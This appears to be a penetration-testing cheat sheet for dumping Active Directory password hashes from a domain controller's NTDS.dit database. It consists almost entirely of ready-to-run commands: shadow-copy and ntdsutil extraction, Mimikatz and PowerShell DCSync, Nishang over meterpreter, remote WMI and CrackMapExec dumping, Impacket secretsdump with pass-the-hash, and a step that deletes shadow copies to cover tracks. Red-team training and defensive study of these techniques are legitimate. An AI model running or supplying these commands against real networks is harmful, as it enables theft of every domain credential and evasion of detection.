NTDS Database

# Initial location of the NTDS database on the domain controller
C:\Windows\NTDS\NTDS.dit

# Step 1 → Finding a way to get the NDTS.dis and SYSTEM file
# Step 2 → Crack/Analyze offline


Local Extraction

VSSadmin
# Récupération via VSSadmin
# Create a Volume Shadow Copy
C:\Windows\system32> vssadmin create shadow /for=C:

# Retrieve NTDS from the copy
C:\Windows\system32> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit c:\Extract\ntds.dit

# Copy SYSTEM file
C:\Windows\system32> reg SAVE HKLM\SYSTEM c:\Extract\SYS
C:\Windows\system32> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM c:\Extract\SYSTEM

# Delete tracks
C:\Windows\system32> vssadmin delete shadows /shadow={uuid}
ntdsutil tool
# ntdsutil is a builtin tool used to manage the AD
# You can abuse it and create a backup of the ntds.dit file
ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit
DC Sync / Mimikatz
# DC Sync is a less noisy way to extract users informations
# It uses the DRS (Directory Replication Service)

# Classic
mimikatz # lsadump::dcsync /domain:domain.lan /all /csv

# Specific user
mimikatz # lsadump::dcsync /domain:domain.lan /user:test
PowerSploit
# PowerSploit contains a script using the volume shadow copy service
Import-Module .\VolumeShadowCopyTools.ps1
New-VolumeShadowCopy -Volume C:\
Get-VolumeShadowCopy 

# Also possible through a meterpreter session
powershell_shell
New-VolumeShadowCopy -Volume C:\
Get-VOlumeShadowCopy
Invoke-DCSync
# Powershell script
# Leverages PowerView, Invoke-ReflectivePEInjection and a DLL wrapper of PowerKatz
Invoke-DCSync

# Get other format (user:id:lm:ntlm)
Invoke-DCSync -PWDumpFormat

# It is also possible through a meterpreter session
Nishang
# Nishang is a post exploitation framework allowing attacker to perform attacks
# You can use the Copy-VSS script to get NTDS.dit, SAM and SYSTEM files
Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\

# You can also use them throught a meterpretrer session by loading the powershell extension
load powershell
powershell_import /root/Copy-VSS.ps1
powershell_execute Copy-VSS

# Also possible to establish a direct connection
powershell_shell
PS > Copy-VSS
PS > Copy-VSS -DestinationDir C:\Ninja


Remote Extraction

CrackMapExec
crackmapexec xxx.xxx.xxx.xxx -u login -p password -d domain --ntds drsuapi
WMI - Remote
# It is possible to remotely extract the NTDS database using WMI and VSSADMIN
wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c vssadmin create shadow /for=C: 2>&1"
wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit 2>&1"
wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM\ C:\temp\SYSTEM.hive 2>&1"

Impacket

$ python secretsdump.py -history -user-status -just-dc-user Administrateur -just-dc-ntlm foo.local/administrateur:P4ssw0rd\!@DC1.FOO.LOCAL

$ python secretsdump.py -history -user-status -just-dc-user krbtgt -just-dc-ntlm foo.local/administrateur:P4ssw0rd\!@DC1.FOO.LOCAL
NTDS Extraction and analysis
# Impacket provides a usefull script to do that (decrypt copied files)
impacket-secretsdump -system /root/SYSTEM -ntds /root/ntds.dit DOMAIN

# Also possible to dump it remotely by using the computer account and its hash
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1

# Extraction is also possible using NTDSDumpEx
NTDSDumpEx.exe -d ntds.dit -s SYSTEM.hive

# Or adXtract
./adXtract.sh /root/ntds.dit /root/SYSTEM pentestlab
Empire
# Empire has 2 modules you can use to retrieve hashes through DCSync
usemodule credentials/mimikatz/dcsync_hashdump
usemodule credentials/mimikatz/dcsync